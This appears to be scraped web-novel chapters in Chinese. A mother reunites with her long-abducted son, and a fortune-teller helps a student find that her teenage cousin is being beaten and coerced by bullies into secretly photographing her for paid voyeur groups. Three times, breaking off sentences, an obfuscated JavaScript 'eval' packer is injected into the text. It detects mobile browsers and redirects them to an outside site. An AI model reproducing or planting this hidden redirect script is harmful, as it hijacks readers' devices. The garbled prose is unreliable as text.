郗芳挂了电话,脑中一片空白,打开手机找好心人说的那个采访。又手忙脚乱查怎么去海平县,小地方交通不便,要转好几道车。 她和郗母叫了出租车,在车上和儿子老师联系,很快又有好消息——老师联系到了郗舟,把他同村婶娘的电话发给了郗芳。 郗舟现在名字叫林舟,虽然他被带走时小学只读了三个月,但他知道自己大名怎么写,跟着爷爷没改名只改了姓。 母子俩接通电话,郗芳深深呼吸,眼泪又流下来。 郗舟主动开口,说了一些他还记得的小时候的事,郗芳嘴巴张开,怎么也发不出声音。 她啜泣着连连点头,郗母拍着她的背不住安慰。 郗芳终于记起了怎么说话,她只有一个念头:“我可以看看你吗?” 他们加了微信,就在出租车的后座上,时隔八年,熟悉又陌生的一家人重新看到对方。郗芳又笑又哭,贪婪的看着儿子的脸。 “冬冬你看,这是你奶奶,她一直和我找你……你小名冬冬,记得吗?幼儿园你午睡一醒来就哭,老师给我打电话,我一喊冬冬你就不哭了……” 郗舟举着手机走到外面,眼睛通红,也哭起来。 “记得,我记得,对不起妈妈,我不该跟着陌生人走了,害你们一直找我。” 郗舟很愧疚,他没有见过爸爸,那时很想有个爸爸,突然出现一个高高的男人说他是爸爸,郗舟觉得他们有点像,就和老师撒谎了。 老师犹豫,男人抱着他就走,六岁的郗舟很快后悔了,他没想到他会被带到乡下,再也回不到妈妈身边。 他隐隐记得妈妈爱哭,他小时候经常想,找不到他,妈妈肯定会哭吧。 郗舟觉得都是自己的错,长大后想起那碗香甜的鸡蛋茶,也懊恼自己不该跟爷爷走。他知道爷爷对他好,但他同样想念妈妈。 郗芳反而一下子止住眼泪,努力笑道:“这怎么怪你呢,都怪你爸爸,从来没看过你,一来就把你带走……” 郗舟愣住了,眼泪流到嘴边,喃喃说:“他真的是我爸爸。” 郗芳:“对,是妈妈不好,都没给你看过他照片,让你害怕,才自己走丢了……我想起来都对不起你……” 郗芳也觉得是自己的错,怎么就那么小气,只想让冬冬做郗家的儿子,照片都没给他看过。虽然那男人本来也不配! 是他离了婚就不闻不问,又突然冒出来才酿成悲剧! 郗舟反而露出一个恨恨的眼神:“他不是我爸爸,妈,他在车上不管我,和别人打电话说我是小崽子,我听到了。” 郗芳顿时愣住,心如刀割,她知道儿子肯定是被对方伤到了……也许就是这样,郗舟才会中途跑下车。 郗芳恨不得吃前夫的肉,喝前夫的血:“冬冬,妈妈疼你,奶奶也疼你。” 郗舟眼泪流下来,哽咽道:“妈妈,我知道。” 他没说那时车上还有另一个小孩,那个男人一直抱着对方,喂他喝水,哄他睡觉。郗舟意识到自己只是个局外人,格格不入,他觉得他肯定是被骗了。 这么多年,郗舟恨自己,更恨那个骗他是他爸爸,把他拐走的人。 结果他居然真的是他爸爸! 在车上他看都不看他一眼,他有自己的老婆儿子,他把他抢走了放在车上,没有水也没有吃的,他管他叫小崽子。 郗舟再也不期待什么从天而降的爸爸,他只想要他的妈妈和奶奶。 只有妈妈和奶奶会关心他渴不渴,肚子饿不饿。如果他受一点委屈,她们会比自己受委屈都更心疼。如果他再也回不去她们身边,她们会像被刀劈一样难受。 小小的郗舟确认这一点,为了妈妈和奶奶,他勇敢的悄悄的溜下了车。 当然,这大概也是对方根本不在乎他吧。 从来没想过要见面的儿子,突然有一天抢回来,或许是个战利品,用来伤害孩子母亲的武器,谁在乎呢? 只有孩子的妈妈和奶奶,亲手将他从一小点大带到能跑能跳的家人,才会为了他从此忙碌奔走,一刻不停的寻找他。 凌晨快一点,郗芳和郗母到了海平县。 郗舟打工借住在一个县里买了房的同村家里,婶娘睡了,手机借给他让他记得充电。他一个人在阳台上,看到郗芳不停的说到了哪里哪里,心里焦躁不安。 一家人都迫切希望现在就见面。 终于,郗舟听到一个熟悉的地名,他立刻站起来,拿着借来的钥匙下了楼。他在楼下走来走去,影子落在地上,明亮的月光陪伴着他。 他不自觉走出街道,郗芳又打了视频电话来,接通后母亲看着儿子,笑着说:“马上就快到了。” 这可能是她重复的第二十遍。 “手机还有电吗?”郗芳又关切地问。 郗舟紧张的瞥了一眼屏幕:“刚冲了一点。” 郗芳就把手机拿远了,她和郗母在昏暗的屏幕那头看着郗舟,想说什么,又说不出。 一辆车从远方街道拐弯处驶过来,郗舟听到那边司机感慨:“就快了,你们一家人好好聊。” 郗舟情不自禁的往前走,他觉得脚软,又很沉重,觉得应该快点跑起来,可是他都有点喘不过气。 郗芳在手机里说:“冬冬,我看到你了。” 她探出车窗,看到月光下黑色的街道上一个小小的人影,心想视频里儿子已经长大了,可远远一看还那么一小点。 夜晚有一些风,她眼泪簌簌的被吹走,她握着身边母亲的手,心想现在他们一家人要团聚了。 儿子在远处冲她使劲招手,手机里传来声音:“我也看到你了。” 车越来越近,郗舟奔跑过来,郗芳迫不及待下了车。 跑啊跑,郗芳觉得这像电视剧里的场景,她忍不住笑,碰到儿子手臂的时候,感觉他手很有力的扶着她,是活的,温热的。 郗芳才发现自己腿软得站不住,她又没出息的哭起来。 他们一家人终于团聚了。 这天郗芳凌晨四点才睡,她和儿子说不完的话,郗母也格外高兴。 直到郗舟不自觉打哈欠,郗芳连忙让儿子去睡觉。他们开了间套房,明明孩子就在隔壁,郗芳老觉得心神不宁,过了半小时才躺下。 她妈劝她快睡,她说睡不着,总想再去看看他,又怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044165|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵到他。 郗芳妈妈就笑眯眯的望着她,郗芳拉住妈妈枯瘦的手,突然感到鼻酸。 她发现妈妈一直陪着她,一直理智的支持她,直到她得偿所愿——此刻妈妈看着她的目光,一半为女儿高兴,一半为孙儿高兴。 “妈,我们一起睡吧。”她悄声说,拉着妈妈的手到脸边。 她感到她又变成小孩,真希望这一刻能永恒。儿子找到了,妈妈也不变老。 这忙碌寻找的八年时光,谁能赔付给他们呢? 第二天七点,郗芳突然惊醒,起床一看,旁边郗母不见了。 她一下子着急,好在她妈推开门,神奇的出现在她面前。郗芳松一口气,笑道:“妈,你怎么不多睡一会儿。” 郗母说:“人老了就觉少,你再睡会?” 房间窗帘拉着,光线昏暗,是个继续睡觉的好时间。但郗芳感觉不安宁,她问:“冬冬呢?” 郗母往外边看了一眼:“他打工去了。” 郗芳顿时着急,光着脚下床:“怎么这样呢!” 郗芳跑到隔壁房间,郗舟果然不见了。郗母跟过来,不急不慢道:“他说要回去还手机钥匙,还有之前和人换班请假,要还人家。” “一大堆理由,说了就跑,跟你一模一样。”郗母道,“不然你现在起来,我们吃了饭去找他。” 郗芳马上洗漱去吃饭,郗母看着她,觉得她还像个小孩子。 做父母的把她宠得无忧无虑,不幸却给她找了个坏老公……幸好孙儿找到了,不然她都不知道她还能陪女儿多久。 吃了饭,母女俩找到郗舟打工的网吧,进门就一大股烟味,空气浑浊。郗芳嘀咕:“冬冬才这么点大,怎么能打工。” 郗母:“小地方,给他工作都是个人情,不挣钱他怎么吃饭?” 郗芳眼睛又红了:“那我们来了,他怎么还要打工。” “说明冬冬有责任心。”郗母带着郗芳找到网咖老板,说明情况,态度很是客气,老板也理解,当即把郗舟叫了过来。 母女俩又去感谢郗舟那个带他来打工的婶娘,不管怎么样,郗舟‘爷爷’去世后,他们村里人一直照顾着郗舟。 有这份心意,就该谢,稍后郗母还打算去村里办席请客。 这些年他们资助郗舟的钱,都还上,之后也能来往。 晚上,郗芳一家人把王大哥,郗舟老师,他同学及其父母,还有村里几个对郗舟比较照顾的长辈,能过来的都请来吃了顿饭。 郗芳像模像样的举杯,喝一口就有点醉,翻来覆去的感谢。 她突然想起小神婆,拿出手机开始打电话。郗母都没来得及阻止。 好在她喝得不多,很快被郗母劝住,再要碰杯,她杯子里都是橙汁。气氛很好,王大哥还和他老婆视频,郗芳又对着对方一阵感谢。 “你看你不来,多可惜。”王大哥声音有些尖,但笑呵呵的,做了好事,心里的高兴真是形容不来。 他老婆:“那我来了,买菜本上电话可就看不到了。” 话是这么说,她眼角眉梢也洋溢着愉快。 多好啊,这一家人团聚了。 32. 郗芳收尾+未成年偷拍 晚上回到酒店,郗芳还说要给老师写感谢信,送锦旗。 她紧紧拉着郗舟的手,可能还是有点醉,活泼的不像话。后来进了房间,郗母去楼下找前台帮忙煮生姜红糖水,生姜是问饭店要的。 郗舟把妈妈扶好,用毛巾给她擦脸,郗芳坐着一动不动,眼睛一直看着儿子。 “冬冬你长大了。”她笑呵呵的说,“和我想象里一个样子。” 郗舟也看着她,久别重逢的妈妈眼下青黑,眼角已有皱纹,郗舟说:“妈,你也是我记忆里的样子,一点没变。” 郗芳说:“不对,还是变了,我皮肤都不好了……以前每天擦这个擦那个,后来找你,都没时间……” 她悄悄诉着苦,说:“没找到你我都不想买新衣服,我想着你不知道在哪受苦我就受不了,我对不起你,当时应该早点去接你……” 说着说着,她拉住儿子的手:“我希望你永远不原谅你爸爸。” “你答应我吗?”她像个小孩,“我找你太辛苦了,他弄丢你,他什么都不做。我太恨了,我和你八年没有了,我原来要牵着你的手上学,给你开家长会,我要给你包书皮,给你辅导作业,我们晚上散步,你带着妈妈,妈妈也带着妈妈……” “我太恨了,八年啊,找不到你的时候,我恨不得开车和他一起死……” 郗舟心中一酸,合住郗芳的手掌:“你现在也能给我开家长会,也能牵我去上学,我一定不会再走丢了……我不会原谅他,我讨厌他。” 这些年,对方在他心里就是个人贩子。即使现在知道他是他血缘上的父亲,郗舟也对他没有任何期待。 他承诺说:“我姓郗,我肯定站在你这边。” 郗芳迷迷糊糊听懂了,她破涕为笑。 之后的事不细说,郗芳找回儿子,几个寻亲群又一番震动。丢了孩子的家长们陆续找到曲欣,有人得到线索,也有人一无所获。 这过程中,有人千恩万谢的回去,也有人不愿接受事实,崩溃痛哭。还有人说曲欣是骗子,要发抖音揭穿她。 不过这是莲花村,曲欣天眼也不是摆设,随便说点对方的事,总能让其快速冷静。 毕竟她这么灵,这么厉害,万一以后又有消息了呢? 曲欣最近过得很悠闲,放暑假了,每天带着董樊到处跑,还跟她爸去钓鱼。当然去超市帮忙的次数也变多了,她妈最近好像在忙仓库的事。 不久她从小最好的朋友宁柠也放暑假,从外地一回就跑来超市,拿了瓶饮料给她扫码。 曲欣抬头一看,很惊喜的跑出去,两个女生抱在一起。 “你不是说你妈不让你回来?”宁柠高考结束后爸妈离婚,哥哥跟爸爸,她跟妈妈,她考的大学也不在本地,两人真是很久没见了。 宁柠黑长直披肩,脸微圆,皮肤很好,笑起来特别可爱:“我说你开了天眼来看看,她就同意了。” 宁柠爸妈也是莲花村人,对小神婆的神异从不怀疑。 曲欣闻言把好友脸蛋摆正,仔细扫视一圈,又把她眼皮掀开,耳朵翻过来,宁柠回过神,笑着大力拍她:“你逗我是不是啊!” 曲欣大笑:“对啊,就是逗你,有男朋友没,有看好的找我过目,我这双利剑一般的眼,能看破所有虚妄!” 她看完好友,没说好还是不好,那就是无事发生。不料宁柠居然从包里摸出一个红包,曲欣顿时:“欸欸欸,干什么干什么。” 宁柠认真道:“我妈准备的,一定要给。你看到啥,我未来男朋友咋样?” 曲欣想了想,收下红包:“还没影呢,我是说你有喜欢的可以让我把关——其他一切都好。” 这会超市人不算少,宁柠坐在曲欣旁边看她收银。两人随口聊天,宁柠提到她回来路上看到一家新开蛋糕店搞活动,集赞188领一份小蛋糕。 “我看到有人领到了,真的好可爱有三种款,这个是四寸的,还有人集到388个赞,可以领一个四寸加五寸的,你给我点个赞。” 曲欣说:“我手机在口袋里。” 曲欣瞄一眼旁边收银的杏姐:“正好超市熟人多,你喊他们帮下忙呗。” 宁柠犯怂:“好多婶伯现在都不认识了……” 曲欣想了想:“你打开我朋友圈,给我发一条,我认识的人多。” 宁柠帮她发了,下一秒就有人评论:那我下次带蛋糕来,小神婆喜欢什么口味?一刷新,一排排的赞,点得跟假的一样。 宁柠:“?” 再一看,有人说她喜欢的有家提拉米苏特别好吃,给小神婆下单了,注意查收,订单号发她了。 宁柠:“……欣欣快快,不得了了!” 曲欣转头一看,宁柠脸都木了,一堆莲花村的阿公阿婆给曲欣点了赞在那聊天。 这个阿婆说还有这种活动我让我孙子找人帮我点六个赞,那个阿公说我能点七个我还有小号。 你来我往的,还攀比上了。 曲欣往下一翻,连忙发了条朋友圈严词拒绝,蛋糕不收,下了单的赶紧改地址,点赞谢谢哈! 然后她发现她妈米秀混在一群赞里给她点了。 那她妈肯定也看到下边评论了…… 曲欣装作没看见,把手机给宁柠,自己继续收银。宁柠玩着她的手机咋舌:“好多人啊,我感觉等会你就可以去领蛋糕了。” 曲欣高人风范道:“不急,我要攒满388个!” 下午她爸曲超来换班,曲欣带着宁柠跑去领蛋糕,一个四寸一个五寸,看着都挺精致,老板发现曲欣的赞超出许多,还送了个纸杯蛋糕。 “耶耶耶,跟着你混好有前途。”两人骑小电动回到曲欣家,今晚宁柠和曲欣睡,她爸再婚,继母带了个女孩过来,宁柠不想住那边。 曲欣和宁柠分着吃了四寸蛋糕,无所事事的靠在一起玩手机,一会觉得无聊,买了两张电影票,准备晚上去看电影。 晚点曲欣做饭,宁柠搭手,董樊不知从哪里冒出来:“姐我还以为你今天又带我去阿婆家蹭饭——姐姐好。” 曲欣:“今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056479|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我爸在嘛,不用你帮忙,冰箱有蛋糕。” 吃完曲欣打发表弟给曲爸送饭,自己和宁柠去逛街,路上宁柠接了个视频电话,她妈打过来问她家里备用钥匙放哪了。 一会又接了一个,曲欣凑过去看,对方是个陌生的女孩子。 “啊不好意思。”曲欣退开脸,又顿住,扯扯宁柠的衣服,和她眼神交流。 宁柠:“……王钦我给你介绍下哈,这个是我小学认识的好朋友,叫曲欣。曲欣这是王钦,我大学的亲亲室友。” 她竖起手机,让曲欣和王钦面对面,对面王钦不明所以,只礼貌微笑。 王钦是那种很高级的长相,丹凤眼,五官不说特别漂亮,但一眼叫人印象深刻。她脸小,脑袋也小,看脸就让人觉得她很聪明,个子高。 曲欣仔仔细细打量她,看完了,又和宁柠对视一眼。 宁柠心里有点打鼓:“王钦,你现在有空吗?” 王钦觉得她怪怪的:“有空,其实我就是想问你,你之前买的电脑能不能给我一个链接。” 曲欣带着宁柠走进商场,找到一个相对安静的角落。 宁柠先给她室友做心理建设:“王钦,你知道的,我和你认识一年了,从来没骗过你哈。因为我爸妈离婚嘛……我是觉得我和你很有共同语言。” 王钦坐在书桌旁,表情很冷静:“你要借钱吗?遇到什么事了。” 曲欣觉得这女生人不错,宁柠捂脸:“我没有啊,是你,接下来我跟你讲的你别笑我,不要不当真,我真的不骗你。” 王钦看着她,又望了旁边曲欣一眼:“你说。” 宁柠撞了撞曲欣:“其实,我发小继承了她外婆的那个……天眼,能看到每个人的命,就是能算命,最近隔着视频也能看了。” 视频那边的王钦有点诧异,但没说话。 宁柠越说越认真:“虽然不可思议,但这是真的,她刚刚看到你,肯定你是有什么事,你们两个说,好吗?” “……”王钦有点无语,表情没什么大变化。 曲欣笑眯眯接过手机:“你好,我姓曲,我发现你心地善良,是个好人,想帮你化解一场人祸。可以先不收费,事情结束再补单,同意吗?” 宁柠在一边:……啊闺女你平时算命,啊不看命都是这个画风吗? 宁柠脚趾抠鞋,视频那边王钦明显怀疑的眼神看过来:“你们在玩大冒险?” 曲欣笑容亲切:“你快说同意,点头也可以。” 王钦迟疑了一下,点头配合。 宁柠顿时感动,以为她们在大冒险还这么好说话,不愧是她亲亲室友。 曲欣转头对宁柠:“宁子你去把门。” “……哪来的门啊。”说着她还是走开一点,看有没有人过来。 曲欣笑容微敛,凝视着王钦的眼睛:“你有表弟或堂弟,最近一个多月住在你家,他可能被胁迫拍了一些你家里不好的照片。” 曲欣认真说:“你去找他手机,最好让家里长辈知道,慎重处理。” 33. 偷拍 王钦平静的表情被打破,她迷惑的皱起眉。 王钦表弟确实是高考结束后住在她家,王钦她妈给表弟找了个暑假工,表弟去了两周不做了,说要和同学去沿海某市。 王钦小姨把他骂了回来,但他怎么也不想回原来的地方打工。在家里待了两天,又说要和同学去某某地旅游。 问他哪个同学,他答不出来,小姨很生气,因为他根本就没朋友。平时在学校一棍子打不出闷屁,现在还好吃懒做。 叫他打个暑假工很难吗?这么大个人了,家里条件又困难! 小姨很暴躁,她前夫出轨,早早离了婚,离婚后开了家小店,日子不好过,儿子又不争气,每天忙完回来,一点盼头也没有。 王钦爸妈去年也离婚了,但她爸给了一定的补偿,家里有房子,有存款,王钦她妈自己也立得住。 其实王钦能感觉小姨羡慕她妈,对王钦的态度也远比对表弟和蔼。表弟赛磊就……看不出性格好坏,总是低着头,不说话,不知道他在想什么。 他个子不高,成绩中下,用小姨的话来说,看着就没出息,以后都不知道能不能讨到老婆。 王钦和小姨不怎么熟,过去她爸妈没离婚,小姨几乎从不凑过来,年节也只匆匆出现,很快就赶回去开店。 王钦觉得小姨自尊心很高,今年说想让表弟在她家住段时间,她都很诧异。 ……但要说表弟被胁迫拍了什么照片,王钦突然心中一跳。 她心里表弟胆子挺小的,说话做事像个小孩,但他最近确实有举着手机在玩,有一次她妈林眉凑过去看,表弟吓一大跳。 当时他面色忐忑,马上跑去他住的三卧,林眉还猜他是不是恋爱了。 王钦眉心微皱,又松开,没有表达不信任或觉得曲欣开玩笑,而是问:“拍的不好的照片,是指拍了我……还有我妈?” 她仔细辨别曲欣的表情,小神婆直接肯定:“对。” 王钦眼中恼怒,定了定神,简短道:“谢谢,我会确认的。” 挂了视频,宁柠凑过来:“怎么样,严重吗?” 曲欣想了想:“有点严重,这个不能告诉你,除非你问她自己说。” 宁柠松口气,无所谓道:“那没事,能解决就行,王钦很聪明肯定能处理好。走吧我还想喝奶茶,再搞点零食去看电影。” 两个好朋友到处逛着,时间差不多,手机静音,电影院走起。 王钦放下手机,首先排除宁柠恶作剧的可能,她俩关系真的不错,尤其她们父母都在高考结束的第二天协商离婚,两人就此深入聊过。 宁柠不会拿这种事开玩笑,太轻浮太恶劣了。 而宁柠的发小,那女孩说起这事的语气非常笃定,仿佛她已经看到经过,看到结果,她在很认真的告知自己……最好找长辈解决。 那么,表弟赛磊真的在偷拍她和她妈妈? 王钦心里猛然翻涌一股怒气,她通常不怎么生气,但这时她只想马上把表弟抓回来盘问一顿。如果是真的…… 王钦给她妈发了个微信:之前客厅里那个摄像头你放哪了? 她把曾经停用的家用监控摄像头找出来,隐蔽放好,这会时间是7点多,赛磊还没回。王钦过去敲了敲他房门,试着打开门把手。 门开了,里边暗沉沉的,王钦打开灯,窗帘紧闭,床上没人。 王钦迅速打量整个房间,赛磊东西不多,就一个书包,床边几件衣服,桌上干干净净,垃圾桶也没什么东西。 表弟在这里不像住了一个多月的客人,像随时随地准备走人。 王钦之前没怎么关注这个表弟,他好像有点沟通障碍,和人说话目光躲闪,支支吾吾,老一副拘谨的样子。 他衣服就三套,洗得发白宽松,有天林眉带他去买衣服,他急得差点哭起来。王钦觉得他莫名其妙,直到林眉说是小姨给钱让她帮忙买的,对方才低头不说话。 赛磊可能有点低自尊,缺乏自信,对钱这方面敏感度又高。 他用的手机是林眉原来的备用机,号码也是林眉申请的。他不去打工后想退给林眉,林眉好说好歹,才让他拿着继续用。 每天下班,林眉和王钦各自开着门玩电脑,时不时聊会天,赛磊躲进房间,林眉又觉得这样不好。 赛磊肯定不会要新电脑,林眉就说给自己买个新的,假装客户送的,再把旧电脑拿给赛磊用。 王钦认为她妈对这个表弟真的很周到了。 王钦关上三卧门,思考片刻,胁迫,谁胁迫的他? 就在这时,门口吱呀一声,赛磊小心的打开门,走进来。 王钦抬头盯着他,赛磊没想到她在这,顿时停住脚步,那样子看着好像要往回走出去。两人对视一会,赛磊尴尬的说:“姐,你好。” “……”王钦平淡的说,“吃晚饭了吗?” 赛磊穿着宽大的短袖和短裤,像小孩偷穿大人衣服,时刻透着拘谨。林眉给他买的衣服他很少穿,每次总要林眉问一下,他就穿一下。 王钦搞不懂,买都买了,衣服已经归他了,一副被她妈强迫着穿的样子,有意义吗? 王钦现在承认,她其实不太喜欢这个表弟。 比如一个吃没吃晚饭的问题,让他回答一句好像会死人一样,只能从喉咙里含含糊糊挤出一个嗯字,低着头,做什么都不干不脆。 王钦站在三卧门口,他就远远看着,不靠近,像只随时要望风而逃的兔子。 王钦感觉她耐心不多了。 “你手机给我一下。”她装作没看到对方骤然畏缩的脸,“我手机不知道放哪了,我打个电话看看。” 赛磊脸上明显犹疑,好几秒过去,他走过来。 赛磊从裤兜里掏出手机,手指飞快,试图自己拨打。王钦伸手拿过手机,他明显紧张,但不敢拒绝。 就这个缩头缩脑的样子,还敢拍什么照片。被胁迫又怎么了,被胁迫不知道找家长,找警察? 王钦拨打自己号码,当然没动静,她提前静音了。 “我手机可能掉了,我登你微信给我老师发个文件。”王钦敷衍的说着台词,拿上手机往自己房里走,赛磊居然猛地拦住她。 说实话,王钦一点不害怕,赛磊比她还矮一点,又瘦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067991|147378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此外他表情紧张又混乱,偏偏想不出说辞拒绝,给不了王钦一点威胁感。 王钦彻底确认了,百分之八十的可能吧,耐心耗尽,她直接点开相册,不过里边干干净净,只有几张林眉拍的没删的盆摘照片。 又点开QQ,赛磊急得要跳起来,王钦手一指他:“你站在那别动。” 赛磊脸色惨白的退后两步,缩着肩膀,用呆滞的眼神望着她,嘴巴微动,但说不出话。 看他这没出息的样子,又恼火,又有点可怜。 赛磊QQ上也没几个人,可能都被他删了,王钦突然意兴阑珊,直接道:“你说吧,你是自己说,还是我报警调聊天记录?” 赛磊脸上像挨了一闷棍,表情惶恐又难堪,他终于找回声音,结结巴巴狡辩:“我我,我,不知道……我手机……” 声音又小又瑟缩,可能也不是狡辩,纯粹是不知该如何面对现实。 王钦指了指沙发:“你去坐着,我们慢慢说。别抖了,你做都做了,现在才知道害怕?” 她再想着要冷静,声音也不自觉提高。 赛磊被她说得脑袋往下矮一截,脸上混杂着一种绝望、畏惧,乃至想要呕吐的表情,仿佛他才是受害者。 王钦又看了眼QQ,上边收到一条消息,头像是不认识的动漫女孩:早上那两张呼啦圈很好,你表姐不运动吗? 王钦点进去,下一条:多拍点脚也行,有土豪爱看 王钦冷笑一声,刚要说话,那边发来语音。 她调高音量,点开:怂逼在吗,有个客户要你拍一段视频,拍就拍你表姐喝水,要有喝水的声音你懂吧,能拍到脸最好,不然拍影子,哈哈哈你们别闹,怂逼不敢的。 王钦气得冒烟,门这时开了,她妈林眉背着包走进来,脱了高跟鞋,一眼看到王钦:“找我什么事啊,怎么要开监控……” 她注意到王钦的脸色,又发现旁边怕被打似缩着的赛磊,下意识问:“这是怎么了,赛磊?” 赛磊像个被踩了一脚的空易拉罐,听到林眉声音,猛地跳起来,夺路而逃。 林眉完全愣住,赛磊跑的时候撞到她的手,他没坐电梯,像滚一样从楼梯口逃跑了。再往下传来他嚎啕的哭声,林眉下意识要追。 “妈!”王钦喝止她,“别追,你追不上的。” 林眉踩着高跟鞋,站在门口一头雾水:“我打个电话给他……” 王钦说:“他手机在我这里。” 林眉表情微愕,王钦想着赛磊刚才那哭声,也有点烦躁:“他被人逼着拍我们的照片视频,我刚发现的,还不知道他拍了些什么。” 她把手机递给她妈,想想点开QQ上的语音,下边又新增了两条。 枫战士:收到回啊,最迟明天拍了,不然我骑车来扇你。 枫战士:阿k让你爬阳台去拍点小内内,你真的烦拍都拍了,分你那么多钱,这不拍那不拍,阿k说要告你诈骗。叫个开锁的,拍被子也行,群里土豪爱看。 枫战士:听到没有,去配个钥匙! 那边似乎好几个人,放着歌,肆无忌惮的大笑着。 34. 偷拍 王钦把第一条语音也放了一遍,林眉脸色凝重。 她往前翻聊天记录,没有,王钦说:“相册也没有,他清得很干净,感觉是被胁迫的,报警吧?” 她想起宁柠朋友的用词,心里的气少了一点。 虽然不明白这还能被胁迫,但宁柠朋友确实神奇,那说明她表弟至少不是主动做这种事。 不过,听到语音里那群人猥琐的大笑烦,王钦第一反应还是报警把照片视频什么的清理干净。 林眉犹豫,她抬头看着女儿,在沙发上坐下,高跟鞋脱开丢在一边,叹一口气:“我得和你小姨说一声,你小姨肯定把磊磊骂死。” 她眉头紧锁,用手摁着眉心:“你表弟本来就胆小,我听语音他好像还没拍什么不该拍的……唉,我们把他找回来聊聊再报警吧。” 林眉看着女儿,总不能为了外甥不顾女儿的感受。 这还涉及到偷拍,对女儿影响不小,林眉头疼的拿起手机:“我和他们套点话。” 王钦冷静的看着她操作:“赛磊可能被打过,月初你记得吗?他说感冒发烧躺了两天,但一直躲着你。” 王钦回忆:“他特别想回老家,你让他自己找工作,他老偷偷躲在楼道里,我还以为他是偷懒不想找。” 王钦那几天待在家,赛磊好像在观察家里有没有人。如果她不走,他就假装出门找兼职,实际上王钦发现过他坐在楼道的台阶上发呆。 当时王钦没在意,反正林眉也没说一定要他找个地方上班。 现在想,他可能害怕出门,也许那会就已经被人盯上。 王钦提醒:“他们还有个群,说明买这些的不止一两个人。” 林眉点头,在QQ上和那群人聊天说:我不能拍 枫战士回复:那你等死好了,你现在出来 枫战士:我让你清醒清醒 林眉感觉外甥可能经常被欺负,这事不能全怪他。 只是按小妹的性格,她知道了肯定会把赛磊骂一顿,可能以后都不好意思再让林眉管赛磊的事,觉得做了错事没脸。 小妹一直要强,她前夫是被小妹发现相册里各种女人照片离的婚,偷拍这事,对小妹肯定是个严重打击。 这母子俩关系紧张,除了她还有谁帮他们和缓关系? ……幸好发现得还算早,赛磊似乎没拍什么太出格的。按对方的说法,赛磊自己不情愿,‘这不拍那不拍’。 林眉换了鞋,拎上包,王钦说先去楼道还有小区里找找,赛磊在这没朋友,他没别的地方能去,又说:“看能不能恢复聊天记录。” 母女俩在小区和附近找了一圈,没有。半小时后,王钦从赛磊的QQ空间发现他设置为仅自己可见的二十多篇日志。 王钦叹一口气,拿给林眉看:“我们直接报警吧。” 6.10日志:我来r市打工了,二姨很关心我 今天是打工第一天,二姨给我准备了手机和水杯,很谢谢 r市街道很宽很漂亮,二姨带我去吃早餐,还要给我早餐钱,我没钱还她,感觉自己好没出息,她说等我挣了钱再说,我一定好好打工。 …… 枫哥是老板娘的儿子,他请我喝饮料。 6.12日志:枫哥又请我,我不想收,我没钱请他 但是枫哥很生气,说我不喝看不起他,珂哥也不高兴 6.13日志:打工很累 表姐问我吃不吃饺子,这里煮的饺子很大一个,很好吃。 因为我没用手机原来的壳子,表姐问我是不是觉得太花了,她拿了一个蓝色的给我,很谢谢。 我感觉大城市有好人,也有坏人,打工其实还好,我感觉枫哥很凶,其实我没用手机壳是因为枫哥看了想玩我的手机。 他问手机原来是不是女的用的,我说不知道,他扇了我脸一下。其实不重,但我有点害怕。 6.15日志:。 二姨带我去买衣服,我差点哭了,我真的很没出息,我不知道妈妈会不会说我。我觉得我妈应该没给二姨钱,二姨是个好人。 二姨给我买了三套衣服,这里的洗衣机还能烘干,我把衣服挂在房间里,感觉很羞愧。 6.16日志:枫哥让我跟他去打架,我不敢 枫哥很不高兴,小林哥说我像太监,我不想和他们说话。 6.18日志:枫哥今天又打我了 他们都扇了我一巴掌,老板娘看到我脸红了,她问我是不是太热了,我说是。 老板娘是二姨的朋友,她让我少和枫哥玩。 我也不想,枫哥不找别人,店里刘泉就不理枫哥,枫哥也没打过他。我太懦弱了! 6.20日志:枫哥是坏人 他让我去拍女的照片给他,我不敢,他非要拉我加一个群,说我拍的人挺好看,我没拍,就是路上我拍了一下地铁有两个背影,我不是为了拍人,枫哥说我拍十张可以给我十块钱,很简单,我不想,他一定要给我看群里别人拍的,他们都是变态,专门拍人屁股还有腿,枫哥发了我三百说是定金,我真的没收,他打开我□□把我红包收了,我退给他他让小林哥打我 他们都打我肚子,很疼,没有打脸,我哭了。 6.21日志:我又被打了,他们等我下班,把我绑到柱子上脱了我的裤子,给我拍了好多照片。k哥说也有一些人喜欢看别人被打。 k哥给我看他手机里的另一个群,有男的也有女的,我吐了。有个视频好像我,衣服都扒光了,像活着被开水脱毛的鸭子,被打得好惨。 k哥说我敢告诉家长就把我打瘸。 6.23日志:枫哥跟老板娘说找我有事,老板娘让我跟他走 